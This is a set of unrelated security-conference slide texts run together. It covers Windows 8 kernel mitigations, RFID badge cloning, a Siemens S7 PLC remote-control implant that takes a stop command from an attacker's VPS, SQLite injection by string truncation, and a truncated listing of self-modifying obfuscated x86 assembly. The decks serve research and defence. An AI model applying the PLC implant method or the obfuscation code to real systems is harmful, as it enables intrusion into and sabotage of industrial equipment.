Artist • How about we redesign the DEFCON17 Badge? • All materials and information is available at Kingpin’s site: www.grandideastudio.com Demo Time Quick Thanks • UD Computer Engineering • UD Alumni Association • Intel • Advanced Circuits • DEFCON Questions/Comments/ Concerns/Debates?
pdf
MJ0011 [email protected] 逆向Windows 8: 内核安全特性拾趣 1 目的: 逆向Windows 8 Release Preview版本 发现一些新的用于防御或缓和内核漏洞攻击的安全特性 目标: 主要关注ntoskrnl 工具: IDA Pro/Hex-rays/windbg 议程 2 – 禁止零页内存分配 – 禁止Win32k系统调用 – 安全性故障中断 – 不可执行的非分页池 – 使用Intel® Secure Key 技术 – 使用Intel® SMEP 技术 Windows8对抗内核漏洞利用的安全特性 3 – 零页内存:Windows上供 16位虚拟机NTVDM使用,确保16位代码 正常运行 – 内核漏洞攻击技巧,通过ZwAllocateVirtualMemory等系统调用可 以在进程中分配出零页内存 – 触发未初始化对象指针/数据指针引用漏洞或辅助漏洞攻击。 • 案例: CVE-2010-4398 N-Protect TKRgAc2k.sys kernel 0day(POC2010) – Window 8 上:禁止进程申请低地址内存(0x0~0x10000) – EPROCESS->Flags.VdmAllowed 禁止零页内存分配 4 – Windows 8 上, 16位虚拟机默认禁用,开启需要管理员权限 禁止零页内存分配 5 – Windows8在所有可能的内存分配位置检查零页分配 • MiCreatePebOrTeb:进线程启动,创建PEB或TEB时 • MiMapViewOfImageSection->MiIsVaRangeAvailable: 映射镜像内存区时 • MiMapViewOfDataSection/MiMapViewOfPhysicalSection 映射数据内存区时 • MmMapLockedPagesSpecifyCache/MmMapLockedPages-> MiMapLockedPagesInUserSpace 映射用户地址时(内核自身未这样使用,但其他驱动使用时会限制) • NtAllocateVirtualMemory:分配进程内存 禁止零页内存分配 6 禁止Win32k系统调用 – EPROCESS->Flags2.DisallowWin32kSystemCalls – 实现在:KiFastCallEntry(2)->PsConvertToGuiThread 禁止Win32k系统调用 7 – 禁用win32k 系统调用的作用 – Win32k.sys: Windows内核漏洞高发,调用不受进程权限限制 • MS11-087 Trojan.win32.Duqu 字体解析漏洞 – 目前应用沙箱的防御策略: Job UI限制 效果不佳 – 禁用win32k系统调用可以有效防御一切win32k.sys相关0day, 无需内核驱动,配置简单 – 防御非0day的USER/GDI相关技巧突破沙箱 禁止Win32k系统调用 8 – PsConvertToGuiThread : GUI线程首次调用win32k system call时 切换线程状态 – 应用DisallowWin32kSystemCalls标志后禁止切换,任何对 USER32/GDI32相关调用都会失败 – 三种方式获得此标志: • 1.IEFO注册表 : – HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MitigationOptions (0x10000000) – 在进程创建过程NtCreateUserProcess->PspAllocateProcess-> PspApplyMitigationOptions应用到标志位上 • 2.文档化的API:SetProcessMitigationPolicy – 实际调用NtSetInformationProcess->ProcessMitigationPolicy设置标志 位 • 3.从父进程继承 禁止Win32k系统调用 9 – Windows 8 中加入的新的中断: Int 0x29 – Windows8的内核和其他驱动程序在发生安全性故障时使用,将直接 引发BSOD – 最常见的使用地方在双向链表的链接/脱链前,Windows8的OS加载 器、内核和驱动程序中,在所有双向链表的使用上都加入了这个处理 – 被称为Safe Linking & Safe Unlinking • 安全链接例子:IoRegisterFsRegistrationChangeMountAware • 安全脱链例子:IoUnregisterFileSystem – 防御利用篡改链接后脱链/链接形成任意地址写入 安全性故障中断 10 安全性故障中断 安全脱链机制触发int 0x29中断示例: IoUnregisterFileSystem 11 – KiRaiseSecurityCheckFailure : • Int 0x29触发后调用到中断Handler • 简单处理后调用KiFastFailDispatch->KiBugCheck执行BSOD – Bugcheck 代码 : 0x139 尚未文档化 • 参数:ecx 错误ID – 目前已知的错误ID: • 0x2: 内核驱动报告Security Cookie异常 • 0x3: Safe unlinking / Safe linking异常 • 0x6: 内核驱动Security Cookie未被初始化未高质量Cookie • 0x9: RtlQueryRegistryValuesEx注册表非可信(CVE-2010-4398 ) 安全性故障中断 12 – 在Windows8之前, 内核和内核驱动使用ExAllocatePoolXXX只能分配出 可执行的内核非分页内存 – 可执行的内核非分页内存可以用于内核溢出漏洞ROP – Windows8开始,引入了新的PoolType: • NonPagedPoolNx • NonPagedPoolNxCacheAligned • NonPagedPoolSessionNx – 通过ExAllocatePool(NonPagedPoolNx)分配出的内核内存不再可执行, 在此类型内存池内执行代码将直接引发BSOD – Windows8内核和驱动程序都已经使用此类型内存池替换所有原来使用的 NonPagedPool类型 不可执行的非分页池 13 不可执行的非分页池 – 内核默认使用不可执行的非分页池的一个例子: – IoAllocateDriverObjectExtension 14 使用Intel® Secure Key技术 – Intel® Secure Key技术 代号公牛山 – 在Intel 第三代Core处理器:Ivy Bridge中加入,今年4月正式发布 • 提供硬件实现的底层数字化随机数生成器(DRNG) 支持 • 提供基于硬件的高性能、高质量的熵和随机数生成器 – 引入新的指令:RDRAND – Windows8 内核开始使用该指令产生随机数,其中重要的使用者就 是Security Cookie/ ASLR的生成过程 – 相关内核函数:ExGenRandom 15 使用Intel® Secure Key技术 – 过去针对内核随机数的攻击:Security Cookie预测 / ASLR暴力攻击 – Windows8以前, Windows内核Security Cookie/ASLR使用系统时 钟KeTickCount或RDTSC作为随机数源 – 结合获取模块加载时间,Security Cookie可被轻易预测,成功率达到 46%以上 (j00ru) – J00ru:“Windows Kernel-mode GS Cookies subverted” – H. Shacham, M. Page, B. Pfaff, E.-J. Goh, N. Modadugu, and D. Boneh: “On the effectiveness of address-space randomization,” – Windows 8 内核自身使用Intel Secure Key技术生成的Security Cookie,并强制应用到所有加载的驱动程序中 16 使用Intel® Secure Key技术 • Windows8在加载内核驱动时调用MiProcessLoadConfigForDriver ,产生随机 数并定位LoadConfig节内旧的Security Cookie,强制进行替换 • 新的Win8驱动检查自身的Security Cookie是否被替换 17 使用Intel® Secure Key技术 – Windows 7 内核/第三方驱动的Security Cookie的生成方式: HalQueryRealTimeClock(from CMOS) ^ rdtsc – Windows 8 内核Security Cookie的生成方式: ExGenRandom-> ExpSecurityCookieRandomData ^ rdtsc – Windows运行时内核ntoskrnl本身并不直接调用RDRAND指令 – ExGenRandom使用的随机数熵源来自OS加载器Winload.exe在启动过 程中调用RDRAND指令的结果 • Winload! OslpGatherRdrandEntropy – 事实上OS加载器用五种方法试图获得综合的高质量随机数熵源: – 外部熵(来自注册表)、TPM熵、实时时间熵、ACPI熵和RDRAND熵 18 使用Intel® Secure Key技术 – IDA Pro 6.3 已经加入了对RDRAND指令的解码支持 – 可以看到 winload 在启动过程中初始化SecureKey 19 使用Intel® Secure Key技术 – ExGenRandom在内核其他的方面的使用: • 内存池配额Cookie • 内存池地址分配随机化 • PEB/TEB地址随机化 • 内核模块随机化 • 线程栈地址空间和堆地址随机化 – 传递给用户态使用 • Shared User Data->Cookie(ring3 Ldr*编解码) • 用户态地址分配随机化 • 内存映射和镜像映射地址分配随机化 20 使用Intel® Secure Key技术 – Guillaume: Bypassing ASLR and DEP on Adobe Reader X – Adobe Reader X 和Chrome的沙箱使用 VirtualAllocEx分配并放置 System Call Stub跳转代码 – Win7及以前的操作系统上VirtualAllocEx分配的地址未随机化,每次启 动时有85%以上的几率落在固定地址 – 利用SystemCallStub跳转代码分配内配内存,绕过DEP+ASLR – Windoows8:进程启动时MmInitializeProcessAddressSpace调用 ExGenRandom的生成地址随机数种子 – NtAllocateVirtualMemory时使用MiSelectAddress通过已经生成的随 机数熵来跳转随机地址进行分配 21 使用Intel® Secure Key技术 – Windows7和Windows8分配用户地址随机化的对比实验 – 分别启动20次 计算器(calc.exe)来分配远程内存 22 使用Intel® SMEP 技术 – SMEP : Supervisor-Mode Execution Prevention – 内核模式执行保护机制,同样来自Intel第三代Core处理器 – Intel CPU提供的新保护机制,可以禁止从Ring0(Supervisor Mode)执 行标记为Ring3(User Mode)地址空间的代码 – 背景:绝大多数内核漏洞攻击都使用一些技巧使内核代码跳转到预先放 置在用户地址空间的 ShellCode – 经典的技巧: – 替换HalDispatchTable-> HalQuerySystemInformation – 为什么将ShellCode放在Ring3:payload问题和地址随机化 23 使用Intel® SMEP 技术 – SMEP开启后: • Ring0下(CPL<3)的代码在存取指令时会检查页面的U/S标记,如果跳转 到一个用户模式内存,会触发页面异常,Windows8下将处理此类型异 常并触发BSOD – 将cr4.SMEP(bit 20) 置1将开启此模式 – Windows 8 内核默认开启了SMEP,在内核初始化的第1阶段: – Phase1Initialization-> Phase1InitializationDiscard - >KiInitMachineDependent 24 使用Intel® SMEP 技术 – MI_CHECK_KERNEL_NOEXECUTE_FAULT – Windows8在页面异常中断处理KiTrap0E 中用于处理两种不可执行的页 面异常:非执行页面和SMEP – 检测到若是支持SMEP的CPU上发生用户态页面的指令存取异常,则触 发BSOD 25 使用Intel® SMEP 技术 – 绕过SMEP的一个主意:通过确定的对象地址进行,向对象内存中放入 一些代码 – NtQuerySystemInformation->SystemHandleInformation(Ex) – 可利用的对象:FileObject ? 26 使用Intel® SMEP 技术 – Windows8不可行: SMEP + NonPagedPoolNx – 所有的对象内存都已经不可执行 – 对象内存的PoolType是由系统初始化时调用ObCreateObjectType时指 定( IoCreateObjectTypes) – Windows8上已经指定FileObject的PoolType为NonPagedPoolNx 27 使用Intel® SMEP 技术 – Windows8 RP SMEP 已知攻击方式防御状况 攻击方式 Windows 8防御方式 SystemHandleInformation(Ex) 内核对象非分页内存Nx SystemLockInformation Safe Linking/Unlinking SystemModuleInformation 模块数据区无保护/代码区写保护 SystemExtendProcessInformation 无保护 GDT/IDT 无保护 0xFFDF0000 (User Shared Data) MiProtectKernelRegions 设置Nx 0xFFC00000~0xFFFFFFFF(KPCR) KPCR不固定地址/FFDFF000清空 Win32k Shared Section USER/内核对象分页内存Nx 28 参考 – Intel. Intel® Digital Random Number Generator Software Implementation Guide – Intel. Intel® 64 and IA-32 Architectures Developer's Manual: Vol. 3A – J00ru . Exploiting the otherwise non-exploitable:Windows Kernel-mode GS Cookies subverted – H. Shacham, M. Page, B. Pfaff, E.-J. Goh, N. Modadugu, and D. Boneh.On the Effectiveness of Address-Space Randomization – Guillaume. Bypassing ASLR and DEP on Adobe Reader X 29 Q&A – 感谢: • CHROOT Security Group • 360Safe MDT/HIPS Team 30
pdf
DEFCON 22 Eric Smith & Joshua Perrymon LARES ALL YOUR BADGES ARE BELONG TO US AGENDA INTRO WHAT IS RED TEAMING TRADITIONAL ATTACKS/TECHNIQUES RFID OVERVIEW ADVANCED ATTACKS REMEDIATION/RISK MITIGATION ABOUT: LARES CORP • Minimum of 15 years InfoSec Experience per consultant (90+ combined) • Penetration Testing Execution Standard Core Members (PTES) • Publications • Aggressive Network Self Defense • Contributing writer to COBIT • Contributing writer to ISO17799, and one of less than 1000 certified auditors of the ISO17799 (international standards for security best practices) • Authors of multiple national / international security awareness training programs • Blogs/Podcasts/Media/Conferences ABOUT: LARES PRESENTERS TedX InfraGard Defcon BlackHat OWASP SANS BruCon SOURCE ToorCon ISACA/ISSA ShmooCon PHNeutral Dark Reading Security B-Sides ChicagoCon NotaCon White Hat World Sec-T Troopers CSI HackCon Derbycon DakotaCon ShakaCon ABOUT: ERIC SMITH Over 15 years IT/IS experience • Red Team Testing/Physical Security Assessments • Social Engineering • Penetration Testing • Risk Assessments Qualifications • B.Sc. Information Security/CISSP, CISA, CCSA, CCNA Work Experience: • Senior Partner/Principal Security Consultant – Lares Consulting • Senior Partner/Principal Security Consultant – Layer 8 Labs • Senior Security Consultant – Alternative Technology • Application Security Analyst – Equifax, Inc. • Senior Security Consultant – International Network Services • Security Engineer – GE Power Systems • Security Analyst - Bellsouth ABOUT: JOSH PERRYMON Over 15 years IT/IS experience • Risk Assessments • Red Team Testing/Physical Security Assessments • Social Engineering • Vulnerability Assessments & Penetration Testing • Application Assessments • Wireless Security Assessments Qualifications • CEH, OPST, OPSA, OSSTMM Trainer Work Experience: • Senior Adversarial Engineer– Lares • Senior Partner – Layer 8 Labs • Advanced Insider Threat/Intel – Bank of America • Red Team Leader– Bank of America • CEO– PacketFocus • Sr. Consultant – BE&K • Sr. Consultant - EBSCO TRUE STORY WHAT IS RED TEAMING The term originated within the military to describe a team whose purpose is to penetrate security of "friendly" installations, and thus test their security measures. The members are professionals who install evidence of their success, e.g. leave cardboard signs saying "bomb" in critical defense installations, hand-lettered  notes  saying  that  “your  codebooks  have  been   stolen" (they usually have not been) inside safes, etc. Sometimes, after a successful penetration, a high-ranking security person will show up later for a "security review," and "find" the evidence. Afterward, the term became popular in the computer industry, where the security of computer systems is often tested by tiger teams. How do you know you can put up a fight if you have never taken a punch? REASONS TO CONDUCT • Real world test to see how you will hold up against a highly skilled, motivated and funded attacker • The only type of testing that will cover a fully converged attack surface • Impact assessment is IMMEDIATE and built to show a maximum damage event • This IS the FULL DR test of an InfoSec Program Electronic Physical Social • Network Penetration Testing • Surveillance & Implants • Direct attack on facilities and systems • In person Social Engineering • Phone conversations • Social profiling • Baiting RED TEAM EP Convergence Attacks on physical systems that are network enabled ES Convergence Phishing Profiling Creating moles Blackmail PS Convergence Tailgating Impersonation TRADITIONAL ATTACKS & TECHNIQUES • Tailgating • Lock Picking • Shimming • Key Bumping • Under Door Hooks (K22) • Lock Bypass • Elevator Keys RFID OVERVIEW RFID TAG FREQUENCIES WHO USES IT? Legacy 125-kilohertz proximity technology is still in place at around 70% to 80% of all physical access control deployments in the U.S. and it will be a long time before that changes, says Stephane Ardiley, product manager at HID Global. WHO IS VULNERABLE? • Government facilities (contractors too) • Medical Facilities • Financial Institutions • Nuclear facilities • Power/Water Facilities • Education • List  is  endless…. UNDERSTANDING BADGE SYSTEMS RFID OVERVIEW RFID OVERVIEW – READ RANGES RFID OVERVIEW – WIEGAND PROTOCOL Internet FTW FACILITY Code & Access Card # Not so private. EBAY FTW RESELLER SERVICES RFID HACKING CLONING/REPLAY – LOW FREQUENCY (PROX II) DEMO Low Freq Clone/Replay Proxmark III PRIV ESCALATION - PROX BRUTE LONG RANGE READING – LOW FREQUENCY Long Range Tastic Reader (Low Frequency) ADVANCED RFID ATTACKS LONG RANGE READING – HIGH FREQUENCY (ICLASS) ARDUINO WITH LCD, MOBILE READER MOBILE READER PCB BUILD DEMO Long Range Read – High Frequency ICLASS VULNERABILITY (PUBLIC) • Heart of Darkness - exploring the uncharted backwaters of HID iCLASS security • Milosch Meriac, [email protected] • 27TH CHAOS COMMUNICATION CONGRESS IN BERLIN, DECEMBER 2010 • Firmware was dumped and encryption keys for Standard Security were compromised. ICLASS CARD CLONING DEMO IClass Cloning ICLASS PRIVILEGE ESCALATION • Block 7 – Contains encrypted format of facility code and access card number • Use compromised keys and calculate new block 7 for Weigand data string • Write block 7 to clone card • Badge in! • Work in progress: • iClass brute DEMO IClass Priv Esc GECKO WIEGAND CAPTURE BLENDED ATTACK – PRIVILEGE ESCALATION • Information leak from badge system • Remote compromise of access controls • Monitor activity • Identify system faults • Profiling • Access rights modification UNDER DEVELOPMENT – BIO AND PIN ATTACKS UNDER DEVELOPMENT – MESH NETWORK • Real Time Mesh Network – collaboration of multiple Red Team members and field hardware UNDER DEVELOPMENT – BACKDOORED READER • Backdoored reader with Audrino • Captures Wiegand data and transmits over Zigbee or wifi to other Red Team member’s  hardware  device  in  the  field RISK MITIGATION REMEDIATION/RISK MITIGATION • Standard RFID asset protection/best practices • Protection strategies of badge systems (physical and electronic) • Protection against blended threads/Red Team targeted attacks • Custom card formats and Time To Reverse (TTR) • Protect badge systems with VLANs, 2-factor authentication or isolation • Training – Staff and Guards • Log Monitoring – IPS? QUESTIONS? Eric Smith Josh Perrymon [email protected] [email protected] @infosecmafia @packetfocus http://www.lares.com Code: https://github.com/LaresConsulting
pdf
中国.北京 KCon黑客大会 工业PLC远程控制实现 演讲人:剑思庭 2 0 1 8 PART 01 个人介绍 目录 CONTENTS PART 02 架构/工具 PART 03 远控渗透 01 02 03 PART 01 个人介绍 剑思庭 工业网络安 全技术顾问 Rockwell Automation 工控安全 渗透和防御 PART 02 构架/工具 VPS Kali 边界路由器 核心防火墙 工业交换机 P-NAT 关闭102端口 STEP7 工程师站 S7-315-PN/DP 互联网 企业边缘网络 企业内网网络 企业工厂网络 http://snap7.sourceforge.net/ $ sudo add-apt-repository ppa:gijzelaar/snap7 $ sudo apt-get update $ sudo apt-get install libsnap71 libsnap7-dev $ pip install python-snap7 PART 03 远控渗透 悄无声息 PLC远控代码植入不能造成PLC重启 FB64 TCON FB65 TSEND FB66 TRCV FB67 TDISCON PLC IP地址 PLC CPU槽号 Block类型和No. 上载远控功能块 存储功能块为MC7 连接被远控PLC 装载功能块MC7文件 下装MC7文件到PLC PLC内完整的远控植入程序 TCP建立连接 参数 声明 数据类型 存储区 描述 REQ INPUT BOOL I、Q、M、D、L 控制参数REQUEST启动建立由ID指定的连接的作业。作业在上升 沿启动。 ID INPUT WORD M、D、常数 与远程伙伴之间建立的连接或用户程序和操作系统通信层之间建立的 连接的标识号。标识号必须与本地连接描述中的相关参数标识号相同。取值范围:W#16#0001至 W#16#0FFF DONE OUTPUT BOOL I、Q、M、D、L DONE状态参数:0:作业尚未开始或仍在运行。1:无错执行 作业。 BUSY OUTPUT BOOL I、Q、M、D、L BUSY = 1:作业尚未完成。BUSY = 0:作业完成。 ERROR OUTPUT BOOL I、Q、M、D、L ERROR状态参数:?ERROR = 1:处理作业期间出现错误。 STATUS返回有关错误类型的详细信息 STATUS OUTPUT WORD M、D STATUS状态参数:故障信息 CONNECTIN_OUT ANY D 指向相关连接说明的指针(UDT 65),参见为使用TCP和ISO on TCP的开放通信连 接分配参数和为使用UDP的本地通信接入点分配参数 TCP发送数据 参数 声明 数据类型 存储区 描述 REQ INPUT BOOL I、Q、M、D、L 控制参数REQUEST在上升沿开始发送作业。数据从由DATA和LEN指定的区域 传送。 ID INPUT WORD M、D、常数 将终止对连接的引用。标识号必须与本地连接描述中的相关参数标识号相同。 取值范围:W#16#0001至W#16#0FFF LEN INPUT INT I、Q、M、D、L 要使用作业发送的最大字节数参见使用的CPU和协议变量(connection_type)和可 传送数据长度之间的关系 DONE OUTPUT BOOL I、Q、M、D、L DONE状态参数:0:作业尚未开始或仍在运行。1:无错执行作业。 BUSY OUTPUT BOOL I、Q、M、D、L BUSY = 1:作业尚未完成。无法触发新作业。?BUSY = 0:作业完成。 ERROR OUTPUT BOOL I、Q、M、D、L ERROR状态参数:ERROR = 1:处理时出错。STATUS提供有关错误类型的 详细信息 STATUS OUTPUT WORD M、D STATUS状态参数:故障信息 DATA IN_OUT ANY I、Q、M、D 发送区域包含地址和长度地址指的是:输入过程映像?输出过程映像?存储器位? 数据块注意:不要使用BOOL类型的ARRAY作为发送区域。 参数 声明 数据类型 存储区 描述 EN_R INPUT BOOL I、Q、M、D、L 使能接收的控制参数:EN_R =?时,FB 64 "TRCV"准备接收。正在处理 接收作业。 ID INPUT WORD M、D、常数 将终止对连接的引用。标识号必须与本地连接描述中的相关参数标识号相同。 取值范围:W#16#0001至W#16#0FFF LEN INPUT INT I、Q、M、D、L 接收区域的长度(以字节为单位)关于LEN =?或LEN <>?的含义,请参见上文(FB64 "TRCV"的接收模式)。对于值的范围,请参见使用的CPU和协议变量(connection_type)和可传送数据长度之间的关系。 NDR OUTPUT BOOL I、Q、M、D、L NDR状态参数:?NDR = 0:作业尚未开始或仍在运行。?NDR = 1:作业成功 完成 ERROR OUTPUT BOOL I、Q、M、D、L ERROR状态参数:?ERROR = 1:处理时出错。STATUS提供有关错误类 型的详细信息 BUSY OUTPUT BOOL I、Q、M、D、L ?BUSY = 1:作业尚未完成。无法触发新作业。?BUSY = 0:作业完成。 STATUS OUTPUT WORD M、D STATUS状态参数:故障信息 RCVD_LEN OUTPUT INT I、Q、M、D、L 实际接收到的数据量(字节) DATA IN_OUT ANY I、Q、M、D 接收区域(定义见上文)包含地址和长度地址指的是:?输入过程映像?输出过程 映像?存储器位?数据块注意:不要使用BOOL类型的ARRAY作为接收区域。 TCP接受数据 TCP断开连接 参数 声明 数据类型 存储区 描述 REQ INPUT BOOL I、Q、M、D、L 控制参数REQUEST启动终止由ID指定的连接的作业。作业在上升 沿上启动。 ID INPUT WORD M、D、常数 将与远程伙伴终止的连接或用户程序和操作系统通信层之间的连接的 标识号。标识号必须与本地连接描述中的相关参数标识号相同。取值范围:W#16#0001至W#16#0FFF DONE OUTPUT BOOL I、Q、M、D、L DONE状态参数:0:作业尚未开始或仍在运行。1:无错执行 作业。 BUSY OUTPUT BOOL I、Q、M、D、L BUSY = 1:作业尚未完成。BUSY = 0:作业完成。 ERROR OUTPUT BOOL I、Q、M、D、L ERROR状态参数:?ERROR = 1:处理时出错。STATUS提供有关 错误类型的详细信息 STATUS OUTPUT WORD M、D STATUS状态参数:故障信息 VPS的固定IP地址 VPS的监听的端口 PLC内OB35调用FB1判断指令执 行停机 VPS上Kali运行TCP server监听,连接后 发送停机标志 防御的方法: 1、物理和环境安全 2、PLC接入授权和项目加密 3、PLC出口增设DPI防火墙(禁止对PLC下载) 4、核心防火墙切断工业网络直接接入,设置DMZ区域 5、增加接入的身份认证和授权 谢谢观看 演讲人:剑思庭
pdf
All Our Powers Combined Connecting Academics, Engineers, and Hackers Security Centered around conferences (DEFCON, HITCON, etc), CTF, and open-source projects. Full of students, hackers, etc. Labor of love. Striving for fulfillment. Enthusiast Community Enthusiasts Operates primarily out of university research labs. Full of professors, postdocs, PhD researchers. Labor of love + overhead. Striving for innovation. Academic Community Enthusiasts Academia Operates primarily out of for-profit companies. Full of brilliant engineers, hackers, etc. Labor of love + profit. Striving for usefulness. Industry Community Enthusiasts Academia Industry Enthusiasts Academia Industry Why? Why me? Created at UIUC in 2000. Open-sourced in 2003. Adopted by Apple in 2005. Continued use by academia and industry. Nested success stories in spin-off projects! - libfuzzer, KLEE, etc Example: LLVM Complications Arise Research? Academic meaning: invention, innovation, or understanding (novel research). Industry meaning: finding bugs in software (vulnerability research). Industry research... - finding a new bug - developing a new technique - developing a new tool - actionable results Academic research... - finding a new class of bug - developing a new technique - applying a technique in a new way - demonstrating potential Academics must present at academic conferences to survive. - constant need for novelty => short attention span - papers become very hard to approach Different goals of “research” limit interactions. - little cross-attendance between academic conferences, industry conferences, and enthusiast conferences This causes friction. - Tweet wars (printf turing-completeness, Cloak&Dagger, symbolic execution) - Duplicated effort. Terminology differences — Effects Better interaction venues: - USENIX WOOT (Workshop on Offensive Technologies) - USENIX Enigma - CSAW - NDSS BAR (Binary Analysis Research) Workshop More cross-pollination of ideas. - internships to industry, engineers going back to grad school Assume good faith! - Example: Cloak & Dagger Terminology differences — Solutions? Come to the BAR! Paper deadline: Dec 15, 2017 Workshop: Feb 18, 2018 Audience: - Academics - Industry - Enthusiasts (CTFers and tool builders) Explicitly includes a disucssion session! www.ndss-symposium.org/ndss2018/cfp-ndss2018-bar Academic prototypes... - written by graduate students under extreme deadlines - minimalistic demonstration of concept - completely unsupported or undocumented Industry prototypes... - written by professionals - well-designed - well-documented - decently supported Enthusiast prototypes... - written by some random hacker - often better-supported than academic prototypes Documentation seems... - very important for enthusiasts - moderately important for industry people - slightly important for academics Functionality seems... - very important for industry - moderately important for enthusiasts - slightly important for academics (This is a bad feedback mechanism...) angr Observations There is hope for angr! - increasingly effective community support on slack - perseverance by enthusiast community members - continued adoption (and adaptation) by industry But what about the general case? - In the US: NSF Transition To Practice grants - Google Summer of Code, Mozilla Open Source Grants, etc - Idea: “community service” homework, such as documentation. Moving Forward DECREE OS (read/write/select/ mmap/munmap/ get_random/exit) The Real World CTF means different things to different people. - an incredible test of skill - an awesome opportunity to stay capable and relevant - an irrelevant game where kids play with toys - a waste of time CTF takes time. - hard for industry - either ignored or actively discouraged by many professors! CTF It is up to us in decision-making roles to support CTF. - CTF is a first-order priority at ASU. More participants in industry and academia should strive for leadership positions in CTF. Also, problem is resolving itself... - academics noticed Shellphish in the CGC. - CTFers dominating pwn2own, etc. CTF — Solutions? Conclusion — Overall Solutions Talk with each other. Learn from each other. Do better with community integration. Ask? Yan Shoshitaishvili [email protected] @Zardus This presentation: https://goo.gl/jRiuAG Join in on slack: http://angr.io/invite.html If a grad school or visiting internship is something that interests you, let me know! Communities have different motivations for collaboration. Academics: reproducibility, impact, but need better incentives Industry: profit motive Enthusiasts: enthusiasm Pull Request ghosting — deciding partway through the implementation of a pull request that your company wants to keep the modifications proprietary. Workarounds? - moving target (Linux kernel) - GPL (other drawbacks) Frustrations
pdf
从S-SDLC视角看API安全 【API威胁检测防御】专题研讨会 Silver Zhang 为何将API安全拧出来说 为何将API安全拧出来说 感冒 VS. 禽流感 感冒 VS. 禽流感 应用安全 VS. 移动安全 应用安全 VS. 移动安全 新业态 新业态 API历史沿革及风险评估 API面临的安全挑战 传输 存储 认证 授权 输入 输出 ➢ 客 户 端 不 支 持 加 密 传 输 协 议 怎 么 办 ➢ 客 户 需 要 走 非 加 密 支 持 代 理 ➢ 客 户 端 未 做 服 务 端 证 书 合 法 有 效 性 校 验 怎 么 办 ➢ 服 务 端 加 密 数 据 如 何 让 客 户 端 解 密 ➢ 客 户 的 服 务 端 与 客 户 端 都 在 使 用 同 一 API ➢ 密 钥 泄 露 了 怎 么 办 ➢ 客 户 的 客 户 端 与 服 务 端 都 支 持 登 录 过 程 处 理 ➢ 无 人 参 与 的 设 备 登 陆 认 证 问 题 ➢ 设 备 更 换 主 人 ➢ 预 设 权 限 与 客 户 业 务 映 射 ➢ 不 充 分 的 授 权 业 务 架 构 ➢ 不 正 确 的 授 权 ID 的 使 用 ➢ API 服 务 提 供 方 输 入 验 证 ➢ API 提 供 方 输 入 验 证 ➢ 调 用 方 输 入 验 证 匹 配 性 ➢ 输 出 编 码 ➢ 不 同 的 输 出 编 码 -CSV/JASON ➢ 仅 输 出 必 要 的 内 容 IoT攻击面分析 攻击面 是否涉及API 攻击面 是否涉及API 生态系统 √ 第三方后端API √ 设备内存 x 更新机制 √ 设备物理接口 乄 移动应用 √ 设备Web界面 √ 供应商后端API √ 设备固件 乄 生态系统交互 √ 设备网络服务 乄 网络流量 乄 管理界面 √ 认证/授权 √ 本地数据存储 乄 隐私 √ 云Web界面 乄 硬件(传感器) 乄 S-SDLC & API安全 需求 设计 实现 确认 DevOps 运维 场景 传输 乄 乄 乄 乄 乄 乄 √ 存储 √ √ √ √ 乄 √ √ 认证 √ √ √ √ 乄 √ √ 授权 √ √ √ √ 乄 √ √ 输入 √ √ √ √ 乄 √ √ 输出 √ √ √ √ 乄 √ √ API安全 API安全 API安全检测技术 人为构造所有可能的应用场景的Demo,通过正常应用安全测试完成… 与功能性自动化脚本融合,同步完成安全自动化测试… 借助现存的典型用户客户端完成全功能安全测试… 借助于Fuzz Test技术完成安全性测试… 借助于IAST技术完成安全性测试… 借助于RASP技术完成与业务强相关的恶意行为监测… 问题讨论-1 如 何 避 免 过 度 实 现 尚 未 开 放 的 功 能 ? 1. 无人知道对外提供的API竟然可以以 服务提供方的超级管理员身份登录 进去 2. 现实是:开发为了方便放开了口子 3. 挑战:如何从根本上避免这样的问 题出现? *API特殊性决定了它一定会被深度使用* 1. 无人知道对外提供的API竟然可以以 服务提供方的超级管理员身份登录 进去 2. 现实是:开发为了方便放开了口子 3. 挑战:如何从根本上避免这样的问 题出现? *API特殊性决定了它一定会被深度使用* 问题讨论-2 如 何 确 保 API 只 输 出 当 前 功 能 所 必 需 要 的 信 息 ? 1. 开发:我知道这些信息未来用得上, 所以干脆直接将更多的信息一并传 回客户端,反正前端也不会有人使 用它们 2. 现实:批量、敏感信息泄漏 3. 挑战:如何从根本上避免这样的问 题出现? *API特殊性决定了它一定会被深度使用* 1. 开发:我知道这些信息未来用得上, 所以干脆直接将更多的信息一并传 回客户端,反正前端也不会有人使 用它们 2. 现实:批量、敏感信息泄漏 3. 挑战:如何从根本上避免这样的问 题出现? *API特殊性决定了它一定会被深度使用* 问题讨论-3 最佳 实践 与现 实之 间的 矛盾 1. Web端提供多因子认证 2. 手机端API则不提供 1)易用性考虑 2) 客户的客户端不支持 *API特殊性决定了它一定会被深度使用* 1. Web端提供多因子认证 2. 手机端API则不提供 1)易用性考虑 2) 客户的客户端不支持 *API特殊性决定了它一定会被深度使用*
pdf
SQLITE 44310 sqlite sqlitesql sqlite 1. sqlite3_snprintf(size,sqlstr,fmt,args...) 2. sqlite3_exec() sqlite3_snprintfcsnprintffmt sqlite3_snprintf(100,sqlstr,"select * from table where name = '%s';",name); name'pikaqiu'sqlstr "select * from table where name = 'pikaqiu';" sqlsqlite3_exec() sqlite sqlite3_snprintffmt'%q' 1. 2. \ 3. sqlite\ 4. '%q'' sqliteexec';' token sqlite ' ','\t','\n','\f','\r' ''','"','`' namepasswd sqlite3_snprintf(100,sqlstr,"select * from table where name = '%q' and password = '%q';",name,passwd); sqlite3_exec(sqlstr) %qsize100 namepassword100 select * from table where name = 'aaaaaaaaaaaaaaaa...aaaaaaaaaaaaaa' update update usertable set password='%q' where name = '%q'; password
pdf
The Remote Metamorphic Engine Detecting, Evading, Attacking the AI and Reverse Engineering Amro Abdelgawad / DEFCON 24 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 